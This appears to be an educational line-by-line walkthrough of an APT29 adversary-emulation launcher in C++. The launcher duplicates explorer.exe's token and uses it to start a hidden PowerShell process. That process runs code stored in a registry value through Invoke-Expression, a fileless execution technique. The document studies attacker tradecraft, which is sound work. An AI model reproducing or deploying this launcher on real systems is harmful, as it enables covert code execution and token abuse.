The Drunken Master : Cyber Winter Series -

Chapter 1 : Phase Line Alfa -

Module 1 : APT 29 Adversary Emulation -

Part 1 : Token Duplication and fileless execution

Author : Bhavesh M. Dhake | Github : https://github.com/hackerevillarry/The_Drunken_Master-Cyber_Winter_Series

==========

Source : https://github.com/attackevals/ael/blob/49516eb0eb51c7b8f3c2851d612ea5c5467ff2bb/Enterprise/apt29/Resources/Scenario_1/hostui.cpp

==========

- This program is a launcher program : it has one job - to start another program on behalf of the current user .
- It finds the process of file explorer that current logged in user is running -> it borrows the security token -> uses that token having privileges of current logged in user to launch powershell process -> runs a powershell command that fetches hidden instructions from the registry and runs it .
- Known malware technique called token theft and fileless execution
- Every running program is a process and every process has a token defining it's characteristics respective to the OS
- Windows lets one process use token of another process
- Instead of writing malicious executable to disk , one can store it in registry and execute it via powershell

==========

#include <iostream>

Standard library of Cpp for input output

#include <Windows.h>

Library for windows api

#include <tlhelp32.h>

For importing required tools for help

#include <stdio.h>

C language input output

#include <errno.h>

For defining errors

#include <tchar.h>

Helps with code encoding for compilation for usage on different sorts of systems

DWORD FindProcessId(const std::wstring& processName);

Declares a function which takes name of a process and finds and returns it's process id

BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege);

Declares a function that inputs the token and the name of the privilege of token and whether to enable of disable that privilege for the token

```
BOOL result;

   PROCESS_INFORMATION processInfo;
   STARTUPINFO StartupInfo;

   ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
   ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
   memset(&processInfo, 0x00, sizeof(PROCESS_INFORMATION));
   StartupInfo.cb = sizeof(STARTUPINFO);
```

Declares a boolean variable result ->

declares a variable which is a structure which is used by windows while creating a new process to store process info containing its process handle, thread handle, process ID, and thread ID ->
declares another struct which tells how to start a process ->
fills the entire startup info struct with zeroes so it does not contain random garbage values behaving unpredictably ->
does same for process info struct ->
sets the count of bytes equal to size of struct (mandatory for starting process as a sanitary check)

```
std::string explorer_str("explorer.exe");
   std::wstring explorer_wstr(explorer_str.begin(), explorer_str.end());

   DWORD explorerProcessId = FindProcessId(explorer_wstr);

   HANDLE hExplorerProcess = OpenProcess(PROCESS_QUERY_INFORMATION,
FALSE, explorerProcessId);
```

Declares a string consisting of name of the target process ->
Copies name from earlier string into wider size variable ->
Calls the helper function to fetch the process ID of the target process's name stored in that variable ->
Gets a handle to that target process in read only mode ->

```
if (hExplorerProcess)
   {
      HANDLE hExplorerToken;
      result = OpenProcessToken(hExplorerProcess, TOKEN_DUPLICATE,
&hExplorerToken); // get a handle to EXPLORER.EXE's token
```

Checks if the handle to target process is valid ->
Creates a variable to handle the security token from target process ->
Uses helper function to open the target process via the handle and duplicates it's token to previously created variable and stores the result in bool variable (bool for knowing if copy was success or not)

```
 if (result)
      {
         HANDLE duplicatedExplorerToken;
         result = DuplicateTokenEx( // duplicate EXPLORER.EXE's token
            hExplorerToken,
            TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY |
TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
            NULL,
            SecurityImpersonation,
            TokenPrimary,
```

```
            &duplicatedExplorerToken);
```

Check if previous copy was valid ->
Creates another variable to copy token of target process again ->
Uses helped function to copy the token into new variable with conditions that this this copy would make the token a primary token of the new process , the copy can be duplicated again , the copy can be read , the copy can set default access control lists on objects it creates , session id can be adjusted , use default security, token shall fully act as the user with user privileges , make the token primary ->

```
  if (result)
        {
            TCHAR szCommandLine[MAX_PATH];
            _tcscpy_s(szCommandLine, MAX_PATH, _T("powershell.exe -c
\"Get-ItemPropertyValue 'HKLM:\\\\SOFTWARE\\Javasoft' 'value Supplement' |
Invoke-Expression\"")); // read payload path from registry, pipe to IEX
            void* lpEnvironment = NULL;

            result = CreateProcessWithTokenW( // start the payload using the duplicated
process token
               duplicatedExplorerToken,
               LOGON_WITH_PROFILE,
               NULL,
               szCommandLine,
               CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS,
               NULL,
               NULL,
               &StartupInfo,
               &processInfo);
            CloseHandle(duplicatedExplorerToken);
```

Check if new copy was valid ->
Creates an empty buffer variable ->
Copies the command string into the buffer which reads a value named value Supplement from the registry key HKLM\SOFTWARE\Javasoft and takes whatever string was read from the registry and executes it as PowerShell code ->
Declares a pointer to custom environment set to null so it would use the user's current environment ->
Uses helper function to launch a new process using the copied token which runs with the privileges of the current user, loads the user's profile into the process meaning the registry, application name set to null so windows would get the name from command line , passes the earlier declared command as arguments into the the process while starting , without showing a console window , cpu priority , use the user's environment block , use current working directory, use startup info struct to know how to start the process ->

Close the handle afterwards

```
DWORD FindProcessId(const std::wstring& processName)
{
   PROCESSENTRY32 processInfo;
   processInfo.dwSize = sizeof(processInfo);

   HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
NULL);
   if (processesSnapshot == INVALID_HANDLE_VALUE)
      return 0;

   Process32First(processesSnapshot, &processInfo);
   if (!processName.compare(processInfo.szExeFile))
   {
      CloseHandle(processesSnapshot);
      return processInfo.th32ProcessID;
   }

   while (Process32Next(processesSnapshot, &processInfo))
   {
      if (!processName.compare(processInfo.szExeFile))
      {
         CloseHandle(processesSnapshot);
         return processInfo.th32ProcessID;
      }
   }
```

Declares function which is the body of helper function which finds id of the process using it's name ->
Declares variable of a struct of type used to store process info ->
Sets the size to size of struct ->
Creates a variable of type of handle of a process and uses helper function to take a snapshot of all running process and stores the handle to snapshot in the variable ->
Loads the first process from the snapshot ->
Compares the name of target process with name of the loaded process executabele name ->
If the names match then release the handle to snapshot and return the process id ->
If the names don't match then creates a loop for comparing the name of each process in snapshot one by one until it matches the target